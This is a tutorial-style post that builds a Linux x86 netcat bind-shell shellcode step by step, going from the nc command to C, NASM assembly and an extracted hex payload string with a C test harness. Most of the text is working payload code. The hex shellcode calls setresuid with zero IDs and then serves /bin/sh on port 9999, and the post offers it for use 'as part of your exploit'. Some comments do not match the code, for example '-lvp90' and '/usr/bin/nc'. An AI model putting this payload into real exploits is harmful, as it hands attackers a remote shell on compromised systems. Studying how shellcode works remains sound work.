Developing netcat Shellcode

On this post, we are going to study on building a shellcode which calls netcat connection. A shellcode is actually a self-contained Assembly code (without .data segment) in Hex format. Let’s go step by step:

1) Let’s first manually do what we expect our shellcode to do.

On your Linux terminal type the following command to open a netcat listener on port 9999:

nc -lvp9999 -e/bin/sh

Then, on another terminal, try to connect that listener on the specified port:

nc 127.0.0.1 9999

Now, you should be able to run shell commands such as ls and see what is inside:

netcat

2) Now, let’s dig a little further and write a c program to do the same job:


#include <stdio.h>
#include <unistd.h>
 
int main()
{
char *env[1] = {NULL};
 
char *arguments[7]= { "/bin/nc",
"-lnp",
"9999",
"-tte",
"/bin/sh",
NULL
};
execve("/bin/nc", arguments, env);
}

When we compile and run it, we should see a similar result:

netcat

When we analyze the parameters, we can see that the registers must have specific values before calling the system call for nc:


EAX = 11  (this value at EAX register represents system call for execve)
EBX = "/usr/bin/nc" (char *)
ECX = arguments (char **)
EDX = env (char **)

3) We can now write our Assembly program to reflect this image of registers:


section .mytext progbits alloc exec write align=16
global _start:
_start:
jmp short GotoCall
 
shellcode:
xor eax, eax ; Zero out eax
xor ebx, ebx ; Zero out ebx
xor ecx, ecx ; Zero out ecx
xor edx, edx ; Zero out edx using the sign bit from eax
mov BYTE al, 0xa4 ; setresuid syscall 164 (0xa4)
int 0x80 ; syscall execute
pop esi ; esi contain the string in db
xor eax, eax ; Zero out eax
mov[esi + 7], al ; null terminate /bin/nc
mov[esi + 16], al ; null terminate -lvp90
mov[esi + 26], al ; null terminate -e/bin/sh
mov[esi + 27], esi ; store address of /bin/nc in AAAA
lea ebx, [esi + 8] ; load address of -lvp90 into ebx
mov[esi +31], ebx ; store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17] ; load address of -e/bin/sh into ebx
mov[esi + 35], ebx ; store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ; Zero out DDDD
mov al, 11 ; 11 is execve syscakk number
mov ebx, esi ; store address of /bin/nc
lea ecx, [esi + 27] ; load address of ptr to argv[] array
lea edx, [esi + 39] ; envp[] NULL
int 0x80 ; syscall execute
 
GotoCall:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'

Note that the Assembly code doesn’t have .data segment. Instead it accepts input string via jumping down and up the Goto labels, which eventually puts the input string of nc command on top of the stack.

Now link and compile the code with following commands:


nasm -felf32 -o netcat.o netcat.asm
ld -m elf_i386 -o netcat netcat.o

If we run the binary, we again get the same result:

netcat

4) We can retrieve now the shellcode out of the Assembly object file. Write the following command to produce the shellcode in Hex format:

for i in $(objdump -d netcat.o -M intel |grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;echo

netcat

5) Finally, we can write another c program to test our shellcode:


char shellcode[] = "\xeb\x36\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}

Compile the code with the following command:


gcc shellcode.c -o shellcode -z execstack

You should be able to see your shellcode in action:

netcat

It’s working, you can use it as part of your exploit :)